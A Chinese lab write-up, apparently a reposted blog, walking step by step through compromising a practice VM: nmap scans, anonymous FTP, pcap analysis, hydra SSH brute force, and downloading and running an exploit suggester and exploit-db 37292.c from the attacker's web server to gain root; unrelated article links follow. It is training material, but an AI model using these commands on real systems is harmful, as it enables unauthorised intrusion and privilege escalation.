一次零基础靶机渗透细节全程记录

一、打靶总流程

1.确定目标:

        在本靶场中,确定目标就是使用nmap进行ip扫描,确定ip即为目标,只是针对此靶场而言。其他实战中确定目标的方式包括nmap进行扫描,但不局限于这个nmap。

2.信息收集:

        比如平常挖洞使用fofa,天眼查,ip域名等进行查,在我们这个靶场中比如信息收集包括查看源码,使用工具dirb等。

3.发现漏洞:

        那些理论比如sql注入,文件上传等,或者找到相关的系统信息,去网上找相关的exp这些都是为了拿到webshell。

4.漏洞利用:

        漏洞利用就是使用漏洞拿到webshell。

5.权限提升:

        权限提升,就是所谓的提权,因为一般进入拿到webshell后进入到服务器了都是低权限,在接下来的靶中我们的目标都是拿到root权限,所以拿到webshell后是低权限用户,这个时候我们需要一系列的方式进行提权,最后拿到root权限,即为结束。

二、打靶实例详解


文章内的靶机及脚本关注后私信获取

        1.首先将靶机以及kali启动。

         2.注意将两者的网络适配器均调整为NAT模式(确保二者是在同一个网段下)。

         3.从kali中打开终端,执行ip a命令查看kali的ip地址。

        4.使用nmap工具来确认要打的靶机的ip地址。 

nmap -sP 192.168.190.0/24

        在上面扫描出的ip地址中,.1、.2、.254、.138都是kali自身的一些ip地址,所以在此确认要进行攻击的靶机的ip地址为:192.168.190.139。

        5.接下来继续进行信息收集,信息收集的方面以及方式有很多,这里信息收集是针对此靶机的信息收集。

        6.扫描靶机开放了哪些端口。

nmap -p- 192.168.190.139

        可以看到此靶机开放了21、22、80端口。其中:开放了21端口ftp,可以想到可能存在弱口令;开放了22端口ssh,可以想到对其进行爆破,然后看到80端口web端,可以对其进行常见漏洞测试。 

        7.对开放的各个端口的进行详细查看。

namp -p- -sS -sV -A 192.168.190.139

        8. 在各个端口的详细信息中,可以看到21端口有个Anonymous登入成功过,因此可以尝试进行弱口令登入,账户名和密码都输入为Anonymous进行尝试。 

        9.尝试后发现确实存在弱口令问题,成功登录了进去。

         10.登录进去之后执行ls命令查看当前目录下有哪些文件,来继续进行信息收集。

         11.发现一个名为“lol.pcap”的文件,我们将其下载到我们本地。

        12.发现是一个流量数据,因此使用wireshark工具对其进行打开。

        13.打开后可以看到下面的内容。

        14.我们随便点击一条流量数据,点击TCP追踪流,可以看到下面的信息,但是并没有发现有用的信息。

        15. 将其关闭后我们可以看到软件上方的筛选信息,此时为0。

        16.将其更改成1后再进行TCP流追踪,可以看到一个txt文件。

        17.此时想到最开始进行扫描的时候,靶机存在开放的80端口,因此想到对其进行搜索,发现搜索结果返回404,说明搜索的结果是没用的。

       18.回到流量工具内,将筛选框后面的1更改为2后继续追踪TCP流,根据其英文解释,可以想到“sup3rs3cr3tdirlol”可能是一个文件的路径,因此再次尝试进行拼接。

         19.拼接后网页返回了下面的内容。

        20.可以看到存在一个名为“roflmao”的文件,点击后将其下载下来。

         21.来到下载路径下后,使用file命令或者strings命令将文件打开。

        22.可以看到还原出来的内容里存在下面的一句话,因此我们尝试将获得的信息再次进行拼接后搜索。

        23.再次进行拼接搜索后进入了下面的页面。

         24.在这里点击“good_luck”后进入了到了下面的页面。

        25. 在此页面内又发现了一个txt文件,点击后可以看到下面的内容,这里就相当于是一个用户名的字典,找到了有用的用户名。

         26.在桌面上创建一个名为user的文档来存储这些用户名。

        27.回到浏览器的前面的页面,发现存在一个可能存在密码的文件。

         28.进入后又发现了一个txt文件,打开后可以看到下面的内容,因此可以想到密码有可能是Good_job_:)也有可能是Pass.txt。

         29.将猜想的可能的密码也放入一个txt文档中当作密码的字典。

        30. 来到桌面路径下使用hydra工具对其进行爆破,可以看到成功将用户名和密码爆破了出来。 

hydra -L user -P password 192.168.190.139 ssh

        31.接下来就使用爆破出来的用户名和密码进行登录,发现登录成功了。 

ssh overflow@192.168.190.139

        32.但是发现此时的权限是低权限:

  • id为:0 root    
  • 0 < id < 1000 服务用户: 为服务提供权限  
  • 1000 <= id <=60000 普通

        因此还要进行提权,下面是linux提权的几种方式:

  • 内核提权---脏牛提权最为典型 ,内核提权一般包括3个步骤,信息收集发现版本号,找到相关版本的exp,使用找到的exp对目标发起攻击,完成提权功能。
  • 利用suid提权 
  • 利用sudo提权
  • mfs提权
  • mysql提权 包括udf mof提权方式

        33.发现进入的是一个伪终端,因此还要将其转换为真终端,执行下面的命令就将其变成了真终端。

python -c 'import pty; pty.spawn("/bin/bash")'

        34.接下来开始提权。

        35.首先在本地开启一个web服务。

python3 -m http.server 8083

        35. 直接执行下面的命令将脚本文件下载到靶机上,但是发现下载失败了,因为此时权限不够。

wget http://192.168.190.138:8083/les.sh

        36.切换到tmp目录下再次进行下载,发现下载成功了,因为其是一个临时文件,所以在此目录下的权限会高一些,因此就可以成功下载了。

       37.下载完之后将web服务关闭,在终端内按CTRL+z。 

      38.给其添加一个权限后进行执行。

chmod +x les.sh

./les.sh

        39. 这个脚本执行后会检测Linux内核版本存在哪些漏洞,检测出来的结果的颜色越深说明可以被利用的可能性越大。

        40.接下来进行exp的利用就可以了。

        41.下面演示第二种提权方式。

        42.可以通过自己获取到Linux的版本信息,然后在kali内进行搜索。

uname -a

        43.获取到版本信息后执行下面的命令在kali内进行搜索。

searchsploit Linux 4-Tr0ll 3.13.0

        44.在此标红的两条就是满足条件的。

        45.接下来的思路就是将本都的exp搞到靶机的服务器内进行运行,就可以实现提权的效果。

        46.获取到exp的绝对路径。

locate linux/local/37292.c

        47.将其存放在桌面。

cp /usr/share/exploitdb/exploits/linux/local/37292.c /home/kali/桌面

        48.将其打开后就可以看到exp的内容。

        49. 再从本地开启web服务。

        50. 将exp下载到靶机。

wget http://192.168.190.138:8085/37292.c

        51.下载完之后将web服务关闭,在终端内按CTRL+z。 

        52.将其进行编译和执行,此时再次查看权限,可以看到此时的权限就是root权限了。

        53.查看靶机内的文件proof.txt,至此我们就成功拿下了靶机!!!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/38035.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

数据结构(2.1)——时间复杂度和空间复杂度计算

前言 &#xff08;1&#xff09;因为上一篇博客&#xff1a;数据结构&#xff08;2&#xff09;—算法对于时间复杂度和空间复杂度计算的讲解太少。所以我在次增加多个案例讲解。 &#xff08;2&#xff09;上一篇已经详细介绍了&#xff0c;为什么我们的算法要使用复杂度这一个…

Stable Diffusion (持续更新)

引言 本文的目的为记录stable diffusion的风格迁移&#xff0c;采用diffusers example中的text_to_image和textual_inversion目录 2023.7.11 收集了6张水墨画风格的图片&#xff0c;采用textual_inversion进行训练&#xff0c;以"The street of Paris, in the style of …

uniApp之同步资源失败,未得到同步资源的授权,请停止运行后重新运行,并注意手机上的授权提示、adb、shell、package、uninstall

文章目录 背景解决思路执行查找第三方应用的指令执行卸载指令 背景 一开始正常编译运行&#xff0c;由于应用页面有些许奇怪的错误&#xff0c;便想着卸载&#xff0c;重新运行安装调试基座。卸载后&#xff0c;运行还是会出现&#xff0c;明明已经把应用卸载了&#xff0c;还是…

基于深度学习的高精度Caltech行人检测系统(PyTorch+Pyside6+YOLOv5模型)

摘要&#xff1a;基于深度学习的高精度Caltech数据集行人检测识别系统可用于日常生活中或野外来检测与定位行人目标&#xff0c;利用深度学习算法可实现图片、视频、摄像头等方式的行人目标检测识别&#xff0c;另外支持结果可视化与图片或视频检测结果的导出。本系统采用YOLOv…

HTTP、HTTPS协议详解

文章目录 HTTP是什么报文结构请求头部响应头部 工作原理用户点击一个URL链接后&#xff0c;浏览器和web服务器会执行什么http的版本持久连接和非持久连接无状态与有状态Cookie和Sessionhttp方法&#xff1a;get和post的区别 状态码 HTTPS是什么ssl如何搞到证书nginx中的部署 加…

什么是人工智能大模型?

目录 1. 人工智能大模型的概述&#xff1a;2. 典型的人工智能大模型&#xff1a;3. 人工智能大模型的应用领域&#xff1a;4. 人工智能大模型的挑战与未来&#xff1a;5. 人工智能大模型的开发和应用&#xff1a;6. 人工智能大模型的学习资源&#xff1a; 人工智能大模型是指具…

计数排序

计数排序 排序步骤 1、以最大值和最小值的差值加一为长度创建一个新数组 2、将索引为0对应最小值&#xff0c;索引为1对应最小值1&#xff0c;索引为2对应最小值2&#xff0c;以此类推&#xff0c;将索引对应最小值到最大值之间所有的值 3、遍历一遍&#xff0c;遇到一个数字…

MyBatis学习笔记之首次开发及文件配置

文章目录 MyBatis概述框架特点 有关resources目录开发步骤从XML中构建SqlSessionFactoryMyBatis中有两个主要的配置文件编写MyBatis程序关于第一个程序的小细节MyBatis的事务管理机制JDBCMANAGED 编写一个较为完整的mybatisjunit测试mybatis集成日志组件 MyBatis概述 框架 在…

Excel VLOOKUP使用详解

VLOOKUP语法格式&#xff1a; VLOOKUP(lookup_value,table_array,col_index_num,range_lookup) VLOOKUP&#xff08;要查找的值&#xff0c;查找区域&#xff0c;要返回的结果在查找区域的第几列&#xff0c;精确匹配或近似匹配&#xff09; 一、精确查找 根据姓名查找对应…

FPGA Verilog移位寄存器应用:边沿检测、信号同步、毛刺滤波

文章目录 1. 端口定义2. 边沿检测3. 信号同步4. 信号滤波5. 源码6. 总结 输入信号的边沿检测、打拍同步、毛刺滤波处理&#xff0c;是FPGA开发的基础知识&#xff0c;本文介绍基于移位寄存器的方式&#xff0c;实现以上全部功能&#xff1a;上升沿、下降沿、双边沿检测、输入信…

个人使用:Windows下 OpenCV 的下载安装(2021.12.4详细)

一、下载OpenCV   到OpenCV官网Release(发布)板块下载OpenCV-4.5.4 Windows。 下载后是这样的 然后双击他&#xff0c;解压&#xff0c;就是大佬们说的安装&#xff0c;实质就是解压一下&#xff0c;解压完出来一个文件夹&#xff0c;其他什么也没发生。你把这个文件夹放在哪…

STM32(HAL库)驱动SHT30温湿度传感器通过串口进行打印

目录 1、简介 2、CubeMX初始化配置 2.1 基础配置 2.1.1 SYS配置 2.1.2 RCC配置 2.2 软件IIC引脚配置 2.3 串口外设配置 2.4 项目生成 3、KEIL端程序整合 3.1 串口重映射 3.2 SHT30驱动添加 3.3 主函数代 3.4 效果展示 1、简介 本文通过STM32F103C8T6单片机通过HAL库…

uniapp uni实人认证

uni实人认证依赖 目前仅支持App平台。 h5端活体人脸检测&#xff0c;使用的是百度云的h5人脸实名认证 使用要求 1、app端 在使用前&#xff0c;请确保您已注册DCloud账号&#xff0c;并已完成实名认证。 然后需要按文档开通服务 业务开通 | uni-app官网 2、h5端 在使用前…

STM32 ws2812b 最快点灯cubemx

文章目录 前言一、cubemx配置二、代码1.ws2812b.c/ws2812b.h2.主函数 前言 吐槽 想用stm32控制一下ws2812b的灯珠&#xff0c;结果发下没有一个好用的。 emmm&#xff01;&#xff01;&#xff01; 自己来吧&#xff01;&#xff01;&#xff01;&#xff01; 本篇基本不讲原理…

Unity DOTS如何优雅地实现ECS框架下的定时器Timer系统(无对象池,零GC)

实现定时器并不复杂&#xff0c;就是写个类存放回调&#xff0c;再写个类来统一管理这些回调类。但是ECS写代码的方式变了&#xff0c;所以还是有些区别的。 实现过程中需要注意的几点&#xff1a; 1、由于IComponentData不能存放managed类型的数据&#xff0c;所以无法用常规…

C#使用DataGridView模拟绘图

接到一个需求&#xff0c;绘制一个水管线的图片&#xff0c;这种管线可以有12种分段方法&#xff0c;最后将这12种分段方法合并后在一条水管线上展示&#xff0c;要求&#xff1a; ⒈支持分段的属性展示&#xff1b; ⒉要求每个分段都能清晰展示&#xff0c;分段数在0&#xff…

从CPU缓存结构到原子操作

文章目录 一、CPU缓存结构1.1 CPU的多级缓存1.2 Cache Line 二、写回策略三、缓存一致性问题及解决方案3.1 缓存一致性问题3.2 解决方案3.2.1 总线嗅探3.2.2 事务的串行化3.2.3 MESI 四、原子操作4.1 什么是原子操作4.2 c 标准库的原子类型4.2.1 atomic<T\>4.2.2 is_lock…

Python(四):Pycharm的安装配置

❤️ 专栏简介&#xff1a;本专栏记录了我个人从零开始学习Python编程的过程。在这个专栏中&#xff0c;我将分享我在学习Python的过程中的学习笔记、学习路线以及各个知识点。 ☀️ 专栏适用人群 &#xff1a;本专栏适用于希望学习Python编程的初学者和有一定编程基础的人。无…

【基于FPGA的芯片设计】32位RISC-V存储器

实验板卡&#xff1a;xc7a100tlc sg324-2L&#xff0c;共20个开关 实验要求

RabbitMQ常用工作模式+整合springboot

目录 1.MQ的相关概念 1.1 什么是MQ消息中间件 1.2 为什么使用MQ (1) 应用解耦 (2) 异步提速 (3)削峰填谷 1.3 使用MQ的劣势 1.4 常见的MQ组件​​​​​​​ 2. RabbitMQ的概述 2.1 RabbitMQ的概念 2.2 RabbitMQ的原理 2.3 安装RabbitMQ 3. RabbitMQ 的工作模式…